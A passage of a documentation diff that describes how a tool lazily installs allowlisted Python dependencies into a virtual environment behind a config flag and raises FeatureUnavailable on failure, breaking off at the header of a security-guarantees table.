`security.allow_lazy_installs` in `config.yaml` (default `true`) and runs a venv-scoped `pip install` for the allowlisted specs. 3. If the install fails or the user has disabled lazy installs, the call raises `FeatureUnavailable` with the actual pip stderr and a pointer at `hermes tools`. -Security guarantees enforced by `tools/lazy_deps.py`: +Security guarantees enforced by pm: | Guarantee | What it means | |---|---|